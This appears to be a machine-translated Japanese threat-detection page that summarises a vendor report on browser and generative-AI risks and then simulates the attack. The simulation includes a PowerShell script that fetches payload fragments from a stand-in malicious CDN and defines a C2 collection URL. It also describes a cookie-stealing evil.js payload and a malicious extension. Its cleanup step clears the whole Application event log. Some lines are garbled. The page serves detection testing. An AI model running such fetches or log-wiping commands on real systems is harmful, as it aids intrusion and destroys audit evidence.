CxOが無視できない5つのブラウザとAIセキュリティの質問
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事では、ブラウザー主導の労働力が、アクセスの最後のマイルにおける新しいリスクの集中をどのように引き起こすかについて説明しています。主要な露出には、生成的AIツールへのデータ漏洩、管理されていないまたは侵害された個人エンドポイント、悪意のあるブラウザー拡張機能、メモリ内「再構成」配送チェーン、エージェントAI機能の誤用が含まれます。結論として、従来のネットワークおよびエンドポイントコントロールだけでは不十分であり、作業が現在行われているブラウザーレイヤーで一貫した可視性と実行可能なポリシーが必要です。
調査
このレポートは、メモリ内で再構成されるチャンクされたペイロードの配信、資格情報を盗む拡張機能、AI支援の標的型フィッシング、およびエージェントブラウジングワークフローを狙ったプロンプトインジェクション試行などの行動を参照しています。また、ランサムウェアの初期アクセスのかなりの割合が未管理または軽く統治されたデバイスから始まることを示すデータポイントも示しています。
軽減策
Palo Alto Networksは、Prisma Browserを制御プレーンとして位置付け、細粒度のDLPを適用し、あらゆるデバイス上の企業ワークスペースを分離し、ウェブコンテンツを継続的にスキャンし、拡張機能を監視し、AIエージェントに対するガバナンスのガードレールを追加してブラウザー中心の露出を減少させます。
応答
企業ブラウザを展開し、BYODのためのゼロトラストアクセスを強制し、承認されていないAIアプリをブロックし、拡張機能を監視し、ブラウザートラフィック全体にリアルタイムDLP検査を適用します。
攻撃の流れ
この部分はまだ更新中です。通知を受け取るにはサインアップしてください
通知するシミュレーション実行
前提条件: テレメトリー & ベースライン事前チェックが合格している必要があります。
理論: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃のストーリーとコマンド:
- 偵察とペイロードの準備:
- 攻撃者は、クッキーを盗み、それらをC2サーバーに盗み送る悪質なJavaScriptペイロード(
evil.js)を作成します。 - ペイロードは、バイトごとの検査を回避するために3つのフラグメント(
part1.bin,part2.bin,part3.bin)に分割され、それぞれが無害に見えるJSONオブジェクトにラップされています。
- 攻撃者は、クッキーを盗み、それらをC2サーバーに盗み送る悪質なJavaScriptペイロード(
- HTTP再構成を介した配信:
- 各フラグメントは、侵害されたCDNエンドポイントにホストされています。攻撃者は、フィッシングリンクを介して被害者のブラウザをトリガーし、フラグメントを順次要求させます。これらのフラグメントはHTTPS経由で送信され、ファイアウォールログには通常のウェブトラフィックとして表示されます。
- The
説明ファイアウォールログのフィールドは、組織のロギングエージェントによって手動で拡充され、5秒以内に同じホストに3回連続した要求が検出された場合に「再構成攻撃」という文字列を含むようになります。ユーザーエージェントofMozilla/5.0.
- 悪意のある拡張機能のデプロイ:
- 同時に、攻撃者は悪意のあるChrome拡張機能(
evil_ext.crx)をプッシュし、タブ,履歴、およびwebRequestの権限を要求します。 - インストールは、イベントを記録する企業ソフトウェア配布ツールを介して行われます。このツールは、
EventID=browser_extensionand説明="悪意のあるブラウザ拡張機能が検出されました"というイベントをManagedBrowserチャネルに書き込みます。
- 同時に、攻撃者は悪意のあるChrome拡張機能(
- 偵察とペイロードの準備:
-
リグレッションテストスクリプト: このスクリプトは、再構成トラフィックと悪意のある拡張機能イベントの両方を再現します。
# ------------------------------------------------- # シミュレーションスクリプト – 再構成攻撃と拡張 # ------------------------------------------------- # 変数 $cdnBase = "https://malicious-cdn.example.com/parts" $parts = @("part1.bin","part2.bin","part3.bin") $c2Url = "https://c2.attacker.com/collect" $extPath = "$env:TEMPevil_ext.crx" $extId = "abcdefg1234567890hijklmnopqrstu" # ダミーID # 1. 再構成フラグメントを発射する(通常のHTTPSとして表示) foreach ($p in $parts) { Write-Host "フラグメント $p を要求中..." Invoke-WebRequest -Uri "$cdnBase/$p" -UseBasicParsing | Out-Null Start-Sleep -Milliseconds 500 # 急速な連続要求を模倣 } # 2. ブラウザ内の再構成をシミュレート(これは単なるプレースホルダ) # 実際の攻撃ではブラウザがJSを介してフラグメントを連結します。 # ここではカスタムイベントをログに記録して検出拡充をエミュレートしています。 $reassemblyEvent = @{ EventID = 2001 ProviderName = "CustomReassemblyLogger" Description = "再構成攻撃が観測されました from $env:COMPUTERNAME" TimeCreated = (Get-Date).ToString("o") } $json = $reassemblyEvent | ConvertTo-Json Write-EventLog -LogName "Application" -Source "PowerShell" -EventId 2001 -EntryType Information -Message $json # 3. 悪意のあるブラウザ拡張機能をデプロイ(ManagedBrowserチャネルに書き込まれます) # これには管理者権限が必要です; イベントを書き込むことでシミュレートします。 $extEvent = @{ EventID = 1001 Source = "Microsoft-Windows-ManagedBrowser" Description = "悪意のあるブラウザ拡張機能がインストールされました: ID=$extId" TimeCreated = (Get-Date).ToString("o") } $extJson = $extEvent | ConvertTo-Json Write-EventLog -LogName "Application" -Source "PowerShell" -EventId 1001 -EntryType Warning -Message $extJson Write-Host "シミュレーション完了。検出アラートの確認。" -
クリーンアップコマンド: 一時ファイルを削除し、カスタムイベントをクリアしてください。
# 一時的な拡張機能ファイルを削除 Remove-Item -Path $extPath -ErrorAction SilentlyContinue # カスタム再構成イベントを削除(管理者権限が必要 - wevtutil を使用してクリア) wevtutil cl Application Write-Host "クリーンアップ完了。"